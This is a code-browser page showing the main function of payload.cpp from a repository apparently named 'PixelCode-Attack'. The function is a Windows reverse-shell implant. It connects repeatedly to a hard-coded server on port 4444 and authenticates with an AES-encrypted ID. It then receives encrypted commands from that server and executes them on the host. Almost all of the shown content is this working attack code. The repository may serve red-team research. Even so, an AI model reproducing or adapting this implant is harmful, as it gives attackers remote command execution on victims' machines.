MCPcopy Create free account
hub / github.com/S3N4T0R-0X0/PixelCode-Attack / main

Function main

payload.cpp:1000–1063  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

998}
999
1000int main() {
1001 WSADATA wsaData;
1002 if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
1003 return 1;
1004 }
1005
1006 const char* SERVER_IP = "10.13.196.124";
1007 const int SERVER_PORT = 4444;
1008 const std::string ENCRYPTION_KEY = "1234567890123456";
1009 const std::string AUTH_ID = "54643474-a769-417e-9a71-8be2f604ffe9";
1010
1011 AESCipherTCP cipher(ENCRYPTION_KEY);
1012
1013 while (true) {
1014 SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
1015 if (sock == INVALID_SOCKET) {
1016 Sleep(5000);
1017 continue;
1018 }
1019
1020 sockaddr_in server_addr;
1021 server_addr.sin_family = AF_INET;
1022 server_addr.sin_port = htons(SERVER_PORT);
1023 inet_pton(AF_INET, SERVER_IP, &server_addr.sin_addr);
1024
1025 if (connect(sock, reinterpret_cast<sockaddr*>(&server_addr), sizeof(server_addr)) == SOCKET_ERROR) {
1026 closesocket(sock);
1027 Sleep(5000);
1028 continue;
1029 }
1030
1031 auto auth_data_encrypted = cipher.encrypt(AUTH_ID);
1032 send_data(sock, auth_data_encrypted);
1033
1034 while (true) {
1035 try {
1036 auto encrypted_command = recv_data(sock);
1037 std::string command = cipher.decrypt(encrypted_command);
1038
1039 command.erase(std::remove(command.begin(), command.end(), '\r'), command.end());
1040
1041 if (command == "ping") {
1042 send_data(sock, cipher.encrypt("pong"));
1043 continue;
1044 }
1045
1046 if (command == "exit" || command == "quit") {
1047 break;
1048 }
1049
1050 execute_command(command, sock, cipher);
1051 }
1052 catch (const std::exception& e) {
1053 break;
1054 }
1055 }
1056
1057 closesocket(sock);

Callers

nothing calls this directly

Calls 5

send_dataFunction · 0.85
recv_dataFunction · 0.85
execute_commandFunction · 0.85
encryptMethod · 0.80
decryptMethod · 0.80

Tested by

no test coverage detected